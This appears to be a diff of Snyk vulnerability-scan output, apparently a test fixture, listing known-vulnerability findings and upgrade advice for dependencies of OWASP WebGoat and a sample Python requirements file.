org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 -Testing (maven/pom.xml) ... + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12010004 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12010004 + Introduced by: com.fasterxml.jackson.core:jackson-databind + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 -Tested 4 dependencies for known issues, found 0 issues, 0 vulnerable paths. + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068051 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068051 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 -Open no findings type found issues: 0 + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068052 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068052 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 -╭─────────────────────────────────────────────╮ -│ Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Other │ -│ Project path: multi-project │ -│ Target file: maven/pom.xml │ -│ │ -│ Total no findings type found issues: 0 │ -╰─────────────────────────────────────────────╯ + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068053 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068053 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 -───────────────────────────────────────────────────── + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068054 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068054 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 -Testing (not-python/requirements.txt) ... + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068055 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068055 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 -Tested 7 dependencies for known issues, found 11 issues, 22 vulnerable paths. + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068056 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068056 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 -Open Security issues: 11 + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068057 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12068057 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + + ✗ [MEDIUM] Division by zero + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238610 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238610 + Introduced by: com.fasterxml.jackson.core:jackson-core + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + + ✗ [MEDIUM] Division by zero + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238618 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238618 + Introduced by: com.fasterxml.jackson.core:jackson-core + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + + ✗ [MEDIUM] Arbitrary File Upload + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12246954 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12246954 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) - Finding ID: SNYK-PYTHON-JINJA2-1012994 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 84 - - ✗ [MEDIUM] Sandbox Escape - Finding ID: SNYK-PYTHON-JINJA2-174126 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-174126 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 154 + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-13283910 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-13283910 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 - ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: SNYK-PYTHON-JINJA2-6150717 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 81 + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-13283911 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-13283911 + Introduced by: com.fasterxml.jackson.core:jackson-databind + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: SNYK-PYTHON-JINJA2-6809379 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-6809379 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 82 + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-18369184 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-18369184 + Introduced by: com.fasterxml.jackson.core:jackson-databind + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 + + ✗ [MEDIUM] Arbitrary File Deletion + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1051966 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1051966 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Server-Side Request Forgery (SSRF) + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1051967 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1051967 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088328 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088328 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088329 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088329 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088330 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088330 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088332 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088332 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088333 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088333 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088334 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088334 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088335 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088335 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088336 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088336 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088338 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088338 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1294540 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1294540 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 - ✗ [MEDIUM] Template Injection - Finding ID: SNYK-PYTHON-JINJA2-8548181 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-8548181 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 98 - - ✗ [MEDIUM] Improper Neutralization - Finding ID: SNYK-PYTHON-JINJA2-8548987 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-8548987 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 190 + ✗ [MEDIUM] Denial of Service (DoS) + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569189 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569189 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Insecure XML deserialization + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-460764 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-460764 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [MEDIUM] Information Exposure + Finding ID: SNYK-JAVA-ORGSLF4J-12060275 + Info: https://snyk.io/vuln/SNYK-JAVA-ORGSLF4J-12060275 + Introduced by: org.slf4j:slf4j-api + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > org.thymeleaf.extras:thymeleaf-extras-springsecurity6@3.1.5.RELEASE > org.slf4j:slf4j-api@2.0.18 + + ✗ [MEDIUM] Arbitrary File Read + Finding ID: SNYK-JAVA-ORGSLF4J-12238606 + Info: https://snyk.io/vuln/SNYK-JAVA-ORGSLF4J-12238606 + Introduced by: org.slf4j:slf4j-api + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > org.thymeleaf.extras:thymeleaf-extras-springsecurity6@3.1.5.RELEASE > org.slf4j:slf4j-api@2.0.18 + + ✗ [MEDIUM] Arbitrary File Upload + Finding ID: SNYK-JAVA-ORGSLF4J-12238607 + Info: https://snyk.io/vuln/SNYK-JAVA-ORGSLF4J-12238607 + Introduced by: org.slf4j:slf4j-api + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > org.thymeleaf.extras:thymeleaf-extras-springsecurity6@3.1.5.RELEASE > org.slf4j:slf4j-api@2.0.18 + + ✗ [HIGH] Directory Traversal + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238609 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238609 + Introduced by: com.fasterxml.jackson.core:jackson-core + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + + ✗ [HIGH] Buffer Overflow + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238611 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238611 + Introduced by: com.fasterxml.jackson.core:jackson-core + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 - ✗ [MEDIUM] Template Injection - Finding ID: SNYK-PYTHON-JINJA2-9292516 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-9292516 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 190 + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-13270217 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-13270217 + Introduced by: com.fasterxml.jackson.core:jackson-annotations + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-annotations@2.21 + + ✗ [HIGH] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1040458 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1040458 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088337 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088337 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569176 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569176 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569177 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569177 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569178 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569178 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569179 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569179 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569180 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569180 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569181 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569181 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569182 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569182 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 - ✗ [MEDIUM] Directory Traversal - Finding ID: SNYK-PYTHON-WERKZEUG-8309091 - Info: https://snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309091 - Introduced by: werkzeug - Introduced through: not-python@0.0.0 > werkzeug@3.0.1 - Risk Score: 53 + ✗ [HIGH] Remote Code Execution (RCE) + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569183 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569183 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569185 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569185 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569186 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569186 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569187 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569187 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Server-Side Request Forgery (SSRF) + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569190 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569190 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [HIGH] Server-Side Request Forgery (SSRF) + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569191 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569191 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 - ✗ [MEDIUM] Allocation of Resources Without Limits or Throttling - Finding ID: SNYK-PYTHON-WERKZEUG-8309092 - Info: https://snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309092 - Introduced by: werkzeug - Introduced through: not-python@0.0.0 > werkzeug@3.0.1 - Risk Score: 61 + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-2388977 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-2388977 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 - ✗ [HIGH] Sandbox Bypass - Finding ID: SNYK-PYTHON-JINJA2-455616 - Info: https://snyk.io/vuln/SNYK-PYTHON-JINJA2-455616 - Introduced by: jinja2 - Introduced through: not-python@0.0.0 > jinja2@2.7.2 - Risk Score: 171 + ✗ [HIGH] XML External Entity (XXE) Injection + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-30385 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-30385 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 - ✗ [HIGH] Remote Code Execution (RCE) - Finding ID: SNYK-PYTHON-WERKZEUG-6808933 - Info: https://snyk.io/vuln/SNYK-PYTHON-WERKZEUG-6808933 - Introduced by: werkzeug - Introduced through: not-python@0.0.0 > werkzeug@3.0.1 - Risk Score: 292 + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-31394 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-31394 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + + ✗ [CRITICAL] Directory Traversal + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238608 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12238608 + Introduced by: com.fasterxml.jackson.core:jackson-core + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.fasterxml.jackson.core:jackson-databind@2.21.4 > com.fasterxml.jackson.core:jackson-core@2.21.4 + + ✗ [CRITICAL] Deserialization of Untrusted Data + Finding ID: SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088331 + Info: https://snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088331 + Introduced by: com.thoughtworks.xstream:xstream + Introduced through: org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 Issues to fix by upgrading: - Upgrade jinja2@2.7.2 to jinja2@3.1.6 to fix - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Sandbox Escape [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-174126] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6809379] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Template Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-8548181] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Improper Neutralization [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-8548987] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Template Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-9292516] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - ✗ Sandbox Bypass [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-455616] in jinja2@2.7.2 - introduced by not-python@0.0.0 > jinja2@2.7.2 and 1 other path - - Upgrade werkzeug@3.0.1 to werkzeug@3.0.6 to fix - ✗ Directory Traversal [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309091] in werkzeug@3.0.1 - introduced by not-python@0.0.0 > werkzeug@3.0.1 and 1 other path - ✗ Allocation of Resources Without Limits or Throttling [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-WERKZEUG-8309092] in werkzeug@3.0.1 - introduced by not-python@0.0.0 > werkzeug@3.0.1 and 1 other path - ✗ Remote Code Execution (RCE) [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-WERKZEUG-6808933] in werkzeug@3.0.1 - introduced by not-python@0.0.0 > werkzeug@3.0.1 and 1 other path - -╭──────────────────────────────────────────────────────────╮ -│ Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Software Composition Analysis │ -│ Project path: multi-project │ -│ Target file: not-python/requirements.txt │ -│ │ -│ Total security issues: 11 │ -│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 11 [ 0 CRITICAL  2 HIGH  9 MEDIUM  0 LOW ] │ -╰──────────────────────────────────────────────────────────╯ + Upgrade com.thoughtworks.xstream:xstream@1.4.5 to com.thoughtworks.xstream:xstream@1.4.19 to fix + ✗ Arbitrary File Deletion [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1051966] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Server-Side Request Forgery (SSRF) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1051967] in com.thoughtworks.xstream:xstream@1.4.5 + introduced by org.owasp.webgoat:webgoat@2026.2-SNAPSHOT > com.thoughtworks.xstream:xstream@1.4.5 + ✗ Deserialization of Untrusted Data [MEDIUM] 